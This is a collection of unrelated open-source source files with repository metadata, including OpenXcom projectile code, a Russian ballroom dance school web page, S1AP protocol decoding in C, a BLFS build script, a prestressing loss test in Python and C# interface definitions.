trajectory. */ bool Projectile::move() { for (int i = 0; i < _speed; ++i) { _position++; if (_position == _trajectory.size()) { _position--; return false; } else if (_position > 0) { Position p = _trajectory[_position] - _trajectory[_position - 1]; p *= p; _distance += sqrt(float(p.x + p.y + p.z)); } if (_save->getDepth() > 0 && _vaporColor != -1 && _action.type != BA_THROW && RNG::percent(_vaporProbability)) { addVaporCloud(); } } return true; } /** * Gets the current position in voxel space. * @param offset Offset. * @return Position in voxel space. */ Position Projectile::getPosition(int offset) const { int posOffset = (int)_position + offset; if (posOffset >= 0 && posOffset < (int)_trajectory.size()) return _trajectory.at(posOffset); else return _trajectory.at(_position); } /** * Gets a particle reference from the projectile surfaces. * @param i Index. * @return Particle id. */ int Projectile::getParticle(int i) const { if (_bulletSprite != -1) return _bulletSprite + i; else return -1; } /** * Gets the project tile item. * Returns 0 when there is no item thrown. * @return Pointer to BattleItem. */ BattleItem *Projectile::getItem() const { if (_action.type == BA_THROW) return _action.weapon; else return 0; } /** * Skips to the end of the trajectory. */ void Projectile::skipTrajectory() { while (move()); } /** * Gets the Position of origin for the projectile * @return origin as a tile position. */ Position Projectile::getOrigin() const { // instead of using the actor's position, we'll use the voxel origin translated to a tile position // this is a workaround for large units. return _trajectory.front().toTile(); } /** * Gets the INTENDED target for this projectile * it is important to note that we do not use the final position of the projectile here, * but rather the targetted tile * @return target as a tile position. */ Position Projectile::getTarget() const { return _action.target; } /** * Gets distances that projectile have traveled until now. * @return Returns traveled distance. */ float Projectile::getDistance() const { return _distance; } /** * Is this projectile drawn back to front or front to back? * @return return if this is to be drawn in reverse order. */ bool Projectile::isReversed() const { return _reversed; } /** * adds a cloud of vapor at the projectile's current position. */ void Projectile::addVaporCloud() { Tile *tile = _save->getTile(_trajectory.at(_position) / Position(16,16,24)); if (tile) { Position tilePos, voxelPos; _save->getBattleGame()->getMap()->getCamera()->convertMapToScreen(_trajectory.at(_position) / Position(16,16,24), &tilePos); tilePos += _save->getBattleGame()->getMap()->getCamera()->getMapOffset(); _save->getBattleGame()->getMap()->getCamera()->convertVoxelToScreen(_trajectory.at(_position), &voxelPos); for (int i = 0; i != _vaporDensity; ++i) { Particle *particle = new Particle(voxelPos.x - tilePos.x + RNG::seedless(0, 4) - 2, voxelPos.y - tilePos.y + RNG::seedless(0, 4) - 2, RNG::seedless(48, 224), _vaporColor, RNG::seedless(32, 44)); tile->addParticle(particle); } } } }
Stalkstalks/OpenXcom
src/Battlescape/Projectile.cpp
C++
gpl-3.0
14,629
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="shortcut icon" href="img/favicon.ico" type="image/x-icon"> <title>ШБТ Андеор</title> <link rel="stylesheet" type="text/css" href="css/bootstrap.min.css"> <link rel="stylesheet" type="text/css" href="css/style.css"> </head> <body> <div class="container main-menu"> <nav class="navbar"> <div class="container"> <!-- Brand and toggle get grouped for better mobile display --> <div class="navbar-header"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1" aria-expanded="false"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="#"> <img src="img/Logo.png" class="img-responsive logo"> </a> </div> <!-- Collect the nav links, forms, and other content for toggling --> <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1"> <ul class="nav navbar-nav pull-right"> <li class="dropdown"> <a href="#" class="dropdown-toggle menu" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false"> О НАС </a> <ul class="dropdown-menu"> <li><a href="#" class="menu">ПРОГРАММА</a></li> <li><a href="#" class="menu">ПРОЕКТЫ</a></li> <li><a href="#" class="menu">ПРЕПОДАВАТЕЛЬ</a></li> <li><a href="#" class="menu">АНДЕОР</a></li> <li><a href="#" class="menu">ОТЗЫВЫ</a></li> </ul> </li> <li><a href="#" class="menu">РАСПИСАНИЕ</a></li> <li><a href="#" class="menu">МАТЕРИАЛЫ</a></li> <li><a href="#" class="menu">НОВОСТИ</a></li> <li><a href="#" class="menu">КОНТАКТЫ</a></li> <li class="no-color"> <div class="phone">+ 7 (962) 728-09-21</div></li> </ul> </div><!-- /.navbar-collapse --> </div><!-- /.container-fluid --> </nav> </div> <div id="carousel-example-generic" class="carousel slide" data-ride="carousel"> <!-- Indicators --> <ol class="carousel-indicators"> <li data-target="#carousel-example-generic" data-slide-to="0" class="active"></li> <li data-target="#carousel-example-generic" data-slide-to="1"></li> <!--<li data-target="#carousel-example-generic" data-slide-to="2"></li>--> </ol> <!-- Wrapper for slides --> <div class="carousel-inner" role="listbox"> <div class="item active"> <img src="img/banners/banner1.jpg" class="img-responsive"> <div class="carousel-caption"> <span class="banner-text-1"> Школа Бальных Танцев</span><br> <span class="banner-text-2"> проводит обучение взрослых с нулевого уровня</span><br> <a href="https://goo.gl/forms/yQtk66UWfgC50wd03" target="_blank"> <button class="from-top-187">Записаться</button> </a> </div> </div> <div class="item"> <img src="img/banners/banner2.jpg" class="img-responsive"> <div class="carousel-caption"> <span class="banner-text-1"> Школа Бальных танцев </span><br> <span class="banner-text-2"> открыт набор в группу начинающих и в группу продолжающих </span><br> <a href="https://goo.gl/forms/yQtk66UWfgC50wd03" target="_blank" class="from-top-50"> <button class="from-top-25">Записаться</button> </a> </div> </div> <!--your text can be here--> </div> <!--Controls--> <a class="left carousel-control" href="#carousel-example-generic" role="button" data-slide="prev"> <!--<span class="glyphicon glyphicon-chevron-left" aria-hidden="true"></span> <span class="sr-only">Previous</span>--> </a> <a class="right carousel-control" href="#carousel-example-generic" role="button" data-slide="next"> <!--<span class="glyphicon glyphicon-chevron-right" aria-hidden="true"></span> <span class="sr-only">Next</span>--> </a> </div> <div class="container from-top-50"> <div class="row description-container"> <!-- <div class="col-md-6 col-sm-12 text-right"> <img src="img/robert.png" class="img-responsive robert right-img" alt="Robert Trapsh"> </div> --> <div class="col-md-6 col-sm-12 text-right"> <img src="img/robert.png" class="img-responsive robert" alt="Robert Trapsh"> </div> <div class="col-md-6 col-sm-12 text-right paragraf"> <p class="button">Хореограф</p> <p class="banner-text-1">Роберт Трапш</p> <span class="under-text">Роберт</span> <p>Трапш Роберт Робертович Преподаватель спортивных и классических бальных танцев, балетмейтер, хореограф, основатель и руководитель Школы бальных танцев "Андеор", художественный руководитель ансамбля отечественных бальных танцев "Андеор", лауреат городских конкурсов по отечественным бальным танцам. Занимается преподавательской деятельностью с 2009 года. </p> <div class="row from-top-50 text-left"> <div class="col-md-8"> <button id="btn-1">Программа обучения</button> </div> </div> </div> </div> </div> <div class="container from-top-50" id="programm"> <div class="row"> <div class="col-sm-12 col-md-12 text-center"> <p class="banner-text-1 text-center">Программа обучения</p> </div> </div> <div class="row"> <div class="col-md-4 col-sm-12"> <div class="row"> <p class="button">Отечественные бальные танцы</p> </div> <div class="row"> <ul class="programm"> <li>Большой фигурный вальс</li> <li>Венгерский-бальный танец</li> <li>Полонез-мазурка</li> <li>Фигурный вальс</li> <li>Русский бальный танец</li> <li>Русский лирический танец</li> </ul> </div> </div> <div class="col-md-4 col-sm-12"> <div class="row"> <p class="button">Европейская программа</p> </div> <div class="row"> <ul class="programm"> <li>Венский вальс</li> <li>Танго</li> <li>Медленный вальс</li> <li>Квикстеп</li> <li>Медленнный фокстрот</li> </ul> </div> </div> <div class="col-md-4 col-sm-12"> <div class="row"> <p class="button">Латиноамериканская программа</p> </div> <div class="row"> <ul class="programm"> <li>Ча-ча-ча</li> <li>Самба</li> <li>Румба</li> <li>Джайв</li> <li>Пасадобль</li> </ul> </div> </div> </div> <div class="row from-top-50"> <div class="col-md-4 col-md-offset-4 col-sm-12"> <ul class="svernut-1"> <li id="back-1">Свернуть</li> </ul> </div> </div> </div> <div id="carousel-example-generic2" class="carousel slide from-top-50" data-ride="carousel"> <!-- Indicators --> <ol class="carousel-indicators"> <li data-target="#carousel-example-generic2" data-slide-to="0" class="active"></li> <li data-target="#carousel-example-generic2" data-slide-to="1"></li> <!--<li data-target="#carousel-example-generic" data-slide-to="2"></li>--> </ol> <!-- Wrapper for slides --> <div class="carousel-inner" role="listbox"> <div class="item active"> <img src="img/banners/shtiglitsa.jpg" alt="..." class="img-responsive"> <div class="carousel-caption"> <span class="banner-text-1"> Школа бальных танцев </span><br> <span class="banner-text-2"> в Академии имени </span> <span class="banner-text-4"> А. Л. Штиглица </span><br> <span class="banner-text-1"> Соляной пер., 13</span><br> <a href="https://goo.gl/forms/yQtk66UWfgC50wd03" target="_blank" class=""> <button class="from-top-25">Подробнее</button> </a> </div> </div> <div class="item"> <img src="img/banners/gercena.png" alt="..." class="img-responsive"> <div class="carousel-caption"> <span class="banner-text-1"> Школа бальных танцев </span><br> <span class="banner-text-2"> в университете имени </span> <span class="banner-text-4"> А. И. Герцена</span><br> <span class="banner-text-1"> наб. реки Мойки, д. 48 </span><br> <a href="https://goo.gl/forms/yQtk66UWfgC50wd03" target="_blank" class="from-top-50"> <button class="from-top-25">Подробнее</button> </a> </div> </div> <!--your text can be here--> </div> <!--Controls--> <a class="left carousel-control" href="#carousel-example-generic2" role="button" data-slide="prev"> <!--<span class="glyphicon glyphicon-chevron-left" aria-hidden="true"></span> <span class="sr-only">Previous</span>--> </a> <a class="right carousel-control" href="#carousel-example-generic2" role="button" data-slide="next"> <!--<span class="glyphicon glyphicon-chevron-right" aria-hidden="true"></span> <span class="sr-only">Next</span>--> </a> </div> <div class="social"> <a href="https://www.instagram.com/roberttrapsh/"><img src="img/instagram.png" class="img-responcive opacity"></a> <a href="https://vk.com/socialballet"><img src="img/vk.png" class="img-responcive opacity" ></a> <a href="#"><img src="img/youtube.png" class="img-responcive opacity"></a> </div> <div class="container-fluid from-top-50"> <div class="row"> <div class="col-md-4 col-md-offset-1 col-sm-12 text-right"> <img src="img/banners/andeor.jpg" class="img-responsive" alt="andeor"> </div> <div class="col-md-6 col-sm-12 text-right paragraf"> <p class="button">Ансамбль</p> <p class="banner-text-1">Андеор</p> <span class="under-text">Андеор</span> <p>Ансамбль отечественных бальных танцев Андеор начал свою творческую деятельность в 2016г под руководством Трапша Роберта Робертовича. Коллектив принимает активное участие в культурной жизни Санкт-Петербурга и Ленинградкой Области: выступает на городских концертах и мероприятиях, творческих вечерах и фестивалях, проводят мастер-классы по ОБТ танцоры коллектива являются постоянными участниками городских балов, конкурсов по отечественным и спортивным бальным танцам.</p> <!-- <p>Коллектив ансамбля "Андеор" - это студенты ВУЗов Санкт-Петербурга и молодые специалисты, когда-то они пришли, чтобы научиться танцевать и добились отличного результата, сегодня они - настоящий пример возрождения отечественного бального танцевального искусства в Санкт-Петербурге и всей России.</p>--> <div class="row from-top-50 text-left"> <div class="col-md-6"> <a href="https://vk.com/endehors" target="_blank" class="from-top-50"> <button>Подробнее</button> </a> </div> </div> </div> </div> </div> <div class="raspisanie from-top-50"> <div class="container middle"> <div class="row"> <div class="col-md-12 text-center inline"> <hr class="yellow inline"> <p class="yellow-text inline">Танцуй вместе с нами</p> <hr class="yellow inline"> </div> </div> <div class="row"> <div class="col-md-12 text-center"> <span class="raspisanie-text">РАСПИСАНИЕ ЗАНЯТИЙ</span> </div> </div> <div class="row"> <div class="col-md-12 text-center"> <button id="btn-2">Открыть</button> </div> </div> </div> </div> <div class="container from-top-50" id="raspisanie"> <div class="schedule"> <div class="schedule-row"> <!-- ROW --> <div class="schedule-column column-width"> <!-- Empty --> </div> <div class="schedule-column column-width"> <p class="button noleft">Школа бального танца Штиглица</p> <p class="noleft"> ул. Чайковского, 3</p> </div> <div class="schedule-column column-width"> <p class="button noleft">Школа бального танца Андеор</p> <p class="noleft"> Московский пр., 9</p> </div> <div class="schedule-column column-width"> <p class="button noleft">Школа бального танца Герцена</p> <p class="noleft"> Лиговский пр., 3</p> </div> </div> <div class="schedule-row"> <!-- ROW --> <div class="schedule-column column-width"> <p class="button"> Вторник </p> </div> <div class="schedule-column column-width"> </div> <div class="schedule-column column-width"> </div> <div class="schedule-column column-width"> <p class="yellow-text noleft">18:00 - 20:00</p> <p class="noleft"> Новички</p> </div> </div> <div class="schedule-row"> <!-- ROW --> <div class="schedule-column column-width"> <p class="button"> Суббота </p> </div> <div class="schedule-column column-width"> <p class="yellow-text noleft">19:00 - 21:00</p> <p class="noleft"> Продолжающие</p> </div> <div class="schedule-column column-width"> </div> <div class="schedule-column column-width"> <p class="yellow-text noleft">11:00 - 13:00</p> <p class="noleft"> Новички</p> </div> </div> <div class="schedule-row"> <!-- ROW --> <div class="schedule-column column-width"> <p class="button"> Воскресенье </p> </div> <div class="schedule-column column-width"> <p class="yellow-text noleft">17:00 - 19:00</p> <p class="noleft"> Продолжающие</p> </div> <div class="schedule-column column-width"> <p class="yellow-text noleft">19:00 - 21:00</p> <p class="noleft"> Новички</p> </div> <div class="schedule-column column-width"> </div> </div> </div> <div class="row from-top-50"> <div class="col-md-4 col-md-offset-4 col-sm-12"> <ul class="svernut-1"> <li id="back-2">Свернуть</li> </ul> </div> </div> </div> <div class="container-fluid from-top-50"> <div class="row"> <div class="col-md-4 col-md-offset-1 col-sm-12 text-right"> <img src="img/banners/fb.jpg" class="img-responsive" alt="feedback"> </div> <div class="col-md-6 col-sm-12 text-right paragraf"> <div class="row"> <p class="button from-left-125">Отзывы</p> </div> <div class="row"> <div id="carousel-example-generic3" class="carousel slide" data-ride="carousel"> <!-- Indicators <ol class="carousel-indicators"> <li data-target="#carousel-example-generic2" data-slide-to="0" class="active"></li> <li data-target="#carousel-example-generic2" data-slide-to="1"></li> <!--<li data-target="#carousel-example-generic" data-slide-to="2"></li> </ol>--> <!-- Wrapper for slides --> <div class="carousel-inner" role="listbox"> <div class="item active"> <img src="img/Screenshot_2.png" alt="..." class="img-responsive"> <div class="carousel-caption nomargin"> <span class="under-text">Иван</span> <a href="#"><p class="banner-text-1">Иван</p></a> <p>Ансамбль отечественных бальных танцев Андеор начал свою творческую деятельность в 2016г под руководством Трапша Роберта Робертовича. Коллектив принимает активное участие в культурной жизни Санкт-Петербурга и Ленинградкой Области: выступает на городских концертах и мероприятиях, творческих вечерах и фестивалях, проводят мастер-классы по ОБТ танцоры коллектива являются постоянными участниками городских балов, конкурсов по отечественным и спортивным бальным танцам.</p> </div> </div> <div class="item"> <img src="img/Screenshot_2.png" alt="..." class="img-responsive"> <div class="carousel-caption nomargin"> <a href="#"><p class="banner-text-1">Иван</p></a> <span class="under-text">Иван</span> <p>Ансамбль отечественных бальных танцев Андеор начал свою творческую деятельность в 2016г под руководством Трапша Роберта Робертовича. Коллектив принимает активное участие в культурной жизни Санкт-Петербурга и Ленинградкой Области: выступает на городских концертах и мероприятиях, творческих вечерах и фестивалях, проводят мастер-классы по ОБТ танцоры коллектива являются постоянными участниками городских балов, конкурсов по отечественным и спортивным бальным танцам.</p> </div> </div> <!--your text can be here--> </div> <!--Controls--> <a class="left carousel-control" href="#carousel-example-generic3" role="button" data-slide="prev"> <img src="img/sleder_left_arrow.png" class="arrow-in-slider"> <!--<span class="glyphicon glyphicon-chevron-left" aria-hidden="true"></span> <span class="sr-only">Previous</span>--> </a> <a class="right carousel-control" href="#carousel-example-generic3" role="button" data-slide="next"> <img src="img/slider_right_arrow.png" class="arrow-in-slider"> <!--<span class="glyphicon glyphicon-chevron-right" aria-hidden="true"></span> <span class="sr-only">Next</span>--> </a> </div> </div> </div> </div> </div> <hr class="footer-separator"> <div class="footer from-top-50"> <div class="container"> <div class="row"> <div class="col-md-4 col-md-offset-1 col-sm-12"> <div class="row"> <h4 class="footer">Контакты</h4> <p class="contacts">Санкт-Петербург</p> <p class="contacts">+7 (962) 728-09-21</p> </div> <div class="row"> <h4 class="footer">Соц. Сети</h4> <a href="https://www.instagram.com/roberttrapsh/"><img src="img/instagram.png" class="img-responcive inline opacity"></a> <a href="https://vk.com/socialballet"><img src="img/vk.png" class="img-responcive inline opacity" ></a> <a href="#"><img src="img/youtube.png" class="img-responcive inline opacity"></a> </div> </div> <div class="col-md-6 col-sm-12"> <h4 class="footer">Обратная связь</h4> <div class="row"> <div class="col-md-6"> <input type="text" class="form-control" name="name" placeholder="Имя"> </div> <div class="col-md-6"> <input type="text" class="form-control" name="phone" placeholder="Телефон"> </div> </div> <div class="row margin-top-15"> <div class="col-md-12"> <textarea class="form-control" rows="3" placeholder="Напишите ваш вопрос, отзыв или заявку на участие"></textarea> </div> </div> <div class="row"> <div class="col-md-offset-9 col-md-3 text-right margin-top-15"> <button type="submit" class="btn btn-default inverse">Отправить</button> </div> </div> </div> </div> </div> </div> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script> <script src="js/bootstrap.min.js"></script> <script src="js/javascript.js"></script> </body> </html>
AlexeiOvcharov/andeor-dance
index.html
HTML
gpl-3.0
22,961
package org.jeppers.swing.spreadsheet; /* * CellSpan.java * * Created on 4 July 2002, 12:51 */ /** * * @author Cameron Zemek * @version 1.0 */ public interface CellSpan { public int getRow(); public int getColumn(); public int getRowCount(); public int getColumnCount(); }
sinapsmarketing/scrape-it-screen-scraper-master
src/org/jeppers/swing/spreadsheet/CellSpan.java
Java
gpl-3.0
314
/******************************************************************************* OpenAirInterface Copyright(c) 1999 - 2014 Eurecom OpenAirInterface is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. OpenAirInterface is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with OpenAirInterface.The full GNU General Public License is included in this distribution in the file called "COPYING". If not, see <http://www.gnu.org/licenses/>. Contact Information OpenAirInterface Admin: openair_admin@eurecom.fr OpenAirInterface Tech : openair_tech@eurecom.fr OpenAirInterface Dev : openair4g-devel@lists.eurecom.fr Address : Eurecom, Campus SophiaTech, 450 Route des Chappes, CS 50193 - 06904 Biot Sophia Antipolis cedex, FRANCE *******************************************************************************/ /* play_scenario_decode.c ------------------- AUTHOR : Lionel GAUTHIER COMPANY : EURECOM EMAIL : Lionel.Gauthier@eurecom.fr */ #include "intertask_interface.h" #include "platform_types.h" #include "s1ap_ies_defs.h" #include "s1ap_eNB_decoder.h" #include "assertions.h" #include "play_scenario.h" //------------------------------------------------------------------------------ int et_s1ap_decode_initiating_message(s1ap_message *message, S1ap_InitiatingMessage_t *initiating_p) { int ret = -1; DevAssert(initiating_p != NULL); message->procedureCode = initiating_p->procedureCode; message->criticality = initiating_p->criticality; switch(initiating_p->procedureCode) { case S1ap_ProcedureCode_id_downlinkNASTransport: ret = s1ap_decode_s1ap_downlinknastransporties(&message->msg.s1ap_DownlinkNASTransportIEs,&initiating_p->value); break; case S1ap_ProcedureCode_id_InitialContextSetup: ret = s1ap_decode_s1ap_initialcontextsetuprequesties(&message->msg.s1ap_InitialContextSetupRequestIEs, &initiating_p->value); break; case S1ap_ProcedureCode_id_UEContextRelease: ret = s1ap_decode_s1ap_uecontextreleasecommandies(&message->msg.s1ap_UEContextReleaseCommandIEs, &initiating_p->value); break; case S1ap_ProcedureCode_id_Paging: ret = s1ap_decode_s1ap_pagingies(&message->msg.s1ap_PagingIEs, &initiating_p->value); break; case S1ap_ProcedureCode_id_uplinkNASTransport: ret = s1ap_decode_s1ap_uplinknastransporties (&message->msg.s1ap_UplinkNASTransportIEs, &initiating_p->value); break; case S1ap_ProcedureCode_id_S1Setup: ret = s1ap_decode_s1ap_s1setuprequesties (&message->msg.s1ap_S1SetupRequestIEs, &initiating_p->value); break; case S1ap_ProcedureCode_id_initialUEMessage: ret = s1ap_decode_s1ap_initialuemessageies (&message->msg.s1ap_InitialUEMessageIEs, &initiating_p->value); break; case S1ap_ProcedureCode_id_UEContextReleaseRequest: ret = s1ap_decode_s1ap_uecontextreleaserequesties (&message->msg.s1ap_UEContextReleaseRequestIEs, &initiating_p->value); break; case S1ap_ProcedureCode_id_UECapabilityInfoIndication: ret = s1ap_decode_s1ap_uecapabilityinfoindicationies (&message->msg.s1ap_UECapabilityInfoIndicationIEs, &initiating_p->value); break; case S1ap_ProcedureCode_id_NASNonDeliveryIndication: ret = s1ap_decode_s1ap_nasnondeliveryindication_ies (&message->msg.s1ap_NASNonDeliveryIndication_IEs, &initiating_p->value); break; default: AssertFatal( 0 , "Unknown procedure ID (%d) for initiating message\n", (int)initiating_p->procedureCode); return -1; } return ret; } //------------------------------------------------------------------------------ int et_s1ap_decode_successful_outcome(s1ap_message *message, S1ap_SuccessfulOutcome_t *successfullOutcome_p) { int ret = -1; DevAssert(successfullOutcome_p != NULL); message->procedureCode = successfullOutcome_p->procedureCode; message->criticality = successfullOutcome_p->criticality; switch(successfullOutcome_p->procedureCode) { case S1ap_ProcedureCode_id_S1Setup: ret = s1ap_decode_s1ap_s1setupresponseies( &message->msg.s1ap_S1SetupResponseIEs, &successfullOutcome_p->value); break; case S1ap_ProcedureCode_id_InitialContextSetup: ret = s1ap_decode_s1ap_initialcontextsetupresponseies (&message->msg.s1ap_InitialContextSetupResponseIEs, &successfullOutcome_p->value); break; case S1ap_ProcedureCode_id_UEContextRelease: ret = s1ap_decode_s1ap_uecontextreleasecompleteies (&message->msg.s1ap_UEContextReleaseCompleteIEs, &successfullOutcome_p->value); break; default: AssertFatal(0, "Unknown procedure ID (%d) for successfull outcome message\n", (int)successfullOutcome_p->procedureCode); return -1; } return ret; } //------------------------------------------------------------------------------ int et_s1ap_decode_unsuccessful_outcome(s1ap_message *message, S1ap_UnsuccessfulOutcome_t *unSuccessfullOutcome_p) { int ret = -1; DevAssert(unSuccessfullOutcome_p != NULL); message->procedureCode = unSuccessfullOutcome_p->procedureCode; message->criticality = unSuccessfullOutcome_p->criticality; switch(unSuccessfullOutcome_p->procedureCode) { case S1ap_ProcedureCode_id_S1Setup: ret = s1ap_decode_s1ap_s1setupfailureies(&message->msg.s1ap_S1SetupFailureIEs, &unSuccessfullOutcome_p->value); break; case S1ap_ProcedureCode_id_InitialContextSetup: ret = s1ap_decode_s1ap_initialcontextsetupfailureies (&message->msg.s1ap_InitialContextSetupFailureIEs, &unSuccessfullOutcome_p->value); break; default: AssertFatal(0,"Unknown procedure ID (%d) for unsuccessfull outcome message\n", (int)unSuccessfullOutcome_p->procedureCode); break; } return ret; } //------------------------------------------------------------------------------ int et_s1ap_decode_pdu(S1AP_PDU_t * const pdu, s1ap_message * const message, const uint8_t * const buffer, const uint32_t length) { asn_dec_rval_t dec_ret; DevAssert(buffer != NULL); memset((void *)pdu, 0, sizeof(S1AP_PDU_t)); dec_ret = aper_decode(NULL, &asn_DEF_S1AP_PDU, (void **)&pdu, buffer, length, 0, 0); if (dec_ret.code != RC_OK) { S1AP_ERROR("Failed to decode pdu\n"); return -1; } message->direction = pdu->present; switch(pdu->present) { case S1AP_PDU_PR_initiatingMessage: return et_s1ap_decode_initiating_message(message, &pdu->choice.initiatingMessage); case S1AP_PDU_PR_successfulOutcome: return et_s1ap_decode_successful_outcome(message, &pdu->choice.successfulOutcome); case S1AP_PDU_PR_unsuccessfulOutcome: return et_s1ap_decode_unsuccessful_outcome(message, &pdu->choice.unsuccessfulOutcome); default: AssertFatal(0, "Unknown presence (%d) or not implemented\n", (int)pdu->present); break; } return -1; } //------------------------------------------------------------------------------ void et_decode_s1ap(et_s1ap_t * const s1ap) { if (NULL != s1ap) { if (et_s1ap_decode_pdu(&s1ap->pdu, &s1ap->message, s1ap->binary_stream, s1ap->binary_stream_allocated_size) < 0) { AssertFatal (0, "ERROR %s() Cannot decode S1AP message!\n", __FUNCTION__); } } }
herlesupreeth/OAI-5G
openair3/TEST/EPC_TEST/play_scenario_decode.c
C
gpl-3.0
7,832
#!/bin/bash -e # The xorgproto package provides the header files required to build the X # Window system, and to allow other applications to build against the # installed X Window system. # Dependencies # [Required] # util-macros . ../../../.env version=2019.1 srcfil=xorgproto-$version.tar.bz2 srcdir=xorgproto-$version build_src() { tar -xf $SRCPATH/$srcfil && cd $srcdir mkdir -pv build && cd build CC="gcc" \ meson --prefix=$XORG_PREFIX .. ninja ninja install } build_src
fangxinmiao/projects
Architeture/OS/Linux/Distributions/LFS/build-scripts/blfs-latest/scripts/x/xorg-proto/xorg-proto.sh
Shell
gpl-3.0
509
# -*- coding: utf-8 -*- from __future__ import division '''Test for checking variation of initial prestress force along a post-tensioned member. Data and rough calculation are taken from Example 4.3 of the topic 4 of course "Prestressed Concrete Design (SAB 4323) by Baderul Hisham Ahmad ocw.utm.my Problem statement: Determine the initial prestress force distribution along the beam if the anchorage draw-in is 5 mm. Given the following: • Span = 20m, μ= 0.25 & K = 17 x 10-4 per metre • fpi = 1239 N/ mm2 ; A ps = 2850 mm2 • e at both ends = 0 • e at mid-span = 558 mm • Es = 195 kN/mm2 ''' __author__= "Ana Ortega (AO_O)" __copyright__= "Copyright 2017, AO_O" __license__= "GPL" __version__= "3.0" __email__= "ana.ortega@xcengineering.xyz" import numpy as np import math from materials.prestressing import prestressed_concrete as presconc from model.geometry import geom_utils #Geometry lBeam=20 #beam span [m] #Parabola eEnds=0 #eccentricity of cables at both ends of the beam eMidspan=-0.558 #eccentricity of cables at midspan [m] angl_Parab_XZ=math.pi/4 #angle between the vertical plane that contains the #parabola and the plane XZ #Material Ep=195e9 #elastic modulus of prestressing steel [Pa] #Prestressing process mu=0.25 #coefficient of friction between the cables and their sheating k=0.0017 #wobble coefficient per meter length of cable [1/m] sigmap0max=1239e6 #Initial stress of cable [Pa] Aps=2850e-6 #Area of cable [m2] # Interpolation n_points_rough=5 #number of points provided to the interpolation algorithm n_points_fine=101 #number of points interpolated #Anchorage slip deltaL=5e-3 #anchorage draw-in (provided by manufacturer) [m] #Rough results from direct calculation (formula): lp_anch_lhe=419.3 #loss of prestress force at left-hand end anchorage [kN] fl_frc=15.82 #loss of prestress due to friction [kN/m] P_le=3111.9 #prestress force at left end [kN] P_ms=3270.1 #prestress force at midspan [kN] P_re=3214.8 #prestress force at right end [kN] # XC model #Tendon [m] definition, layout and friction losses a,b,c=geom_utils.fit_parabola(x=np.array([0,lBeam/2.0,lBeam]), y=np.array([eEnds,eMidspan,eEnds])) x_parab_rough,y_parab_rough,z_parab_rough=geom_utils.eq_points_parabola(0,lBeam,n_points_rough,a,b,c,angl_Parab_XZ) tendon=presconc.PrestressTendon([]) tendon.roughCoordMtr=np.array([x_parab_rough,y_parab_rough,z_parab_rough]) #Interpolated 3D spline tendon.pntsInterpTendon(n_points_fine,smoothness=1,kgrade=3) # Losses of prestressing due to friction lssFrict=tendon.getLossFriction(coefFric=mu,k=k,sigmaP0_extr1=sigmap0max,sigmaP0_extr2=0.0) # Losses of prestressing due to anchorage slip (loss due to friction must be # previously calculated lssAnch=tendon.getLossAnchor(Ep=Ep,anc_slip_extr1=deltaL,anc_slip_extr2=0.0) Laffected=tendon.projXYcoordZeroAnchLoss[0] # effective length of tendon #affected by the anchorage slip in extremity 1 [m] # Results lssAnch_e1=lssAnch[0] #prestress loss due to anchorage draw-in extremity 1 lssAnch_md=lssAnch[int(len(lssAnch)/2)] #prestress loss due to anchorage draw-in midspan lssAnch_e2=lssAnch[-1] #prestress loss due to anchorage draw-in extremity 2 lssFrict_e1=lssFrict[0] #prestress loss due to friction extremity 1 lssFrict_md=lssFrict[int(len(lssFrict)/2)] #prestress loss due to friction midspan lssFrict_e2=lssFrict[-1] #prestress loss due to friction extremity 2 P_extr1=(sigmap0max-lssAnch_e1-lssFrict_e1)*Aps*1e-3 P_midspan=(sigmap0max-lssAnch_md-lssFrict_md)*Aps*1e-3 P_extr2=(sigmap0max-lssAnch_e2-lssFrict_e2)*Aps*1e-3 ratio1=abs(P_extr1-P_le)/P_le ratio2=abs(P_midspan-P_ms)/P_ms ratio3=abs(P_extr2-P_re)/P_re import os from miscUtils import LogMessages as lmsg fname= os.path.basename(__file__) if (ratio1<5.e-3 and ratio2<5.e-4 and ratio3<5.e-3): print "test ",fname,": ok." else: lmsg.error(fname+' ERROR.')
lcpt/xc
verif/tests/materials/prestressing/test_short_term_loss_prestress_01.py
Python
gpl-3.0
3,985
//------------------------------------------------------------------------------ // Copyright (C) 2016 Josi Coder // This program is free software: you can redistribute it and/or modify it // under the terms of the GNU General Public License as published by the Free // Software Foundation, either version 3 of the License, or (at your option) // any later version. // This program is distributed in the hope that it will be useful, but WITHOUT // ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or // FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for // more details. // You should have received a copy of the GNU General Public License along with // this program. If not, see <http://www.gnu.org/licenses/>. //-------------------------------------------------------------------------------- using System; namespace CtLab.FpgaSignalGenerator.Interfaces { /// <summary> /// Provides facilities to communicate with a universal counter implemented within a c't Lab FPGA /// device configured as an FPGA Lab. /// </summary> public interface IUniversalCounter { /// <summary> /// Occurs when the value has changed. /// </summary> event EventHandler<ValueChangedEventArgs> ValueChanged; /// <summary> /// Occurs when the input signal active state has changed. /// </summary> event EventHandler<InputSignalActiveChangedEventArgs> InputSignalActiveChanged; /// <summary> /// Gets or sets the signal source. /// </summary> UniversalCounterSource InputSource { get; set; } /// <summary> /// Gets or sets the prescaler mode used to generate the gate time or counter clock. /// Setting this value also modifies <see cref="MeasurementMode"/>. /// </summary> PrescalerMode PrescalerMode { get; set; } /// <summary> /// Gets the measurement mode. /// This is modified implicitly when setting <see cref="PrescalerMode"/>. /// </summary> MeasurementMode MeasurementMode { get; } /// <summary> /// Gets the exponent of the least significant digit for the current /// prescaler mode. If, for example, the least significant digit is /// 1/10 (0.1), an exponent of -1 is returned. /// </summary> int LeastSignificantDigitExponent { get; } /// <summary> /// Gets the counter's value in Hertz for frequency measurements or in seconds /// for period measurements. /// 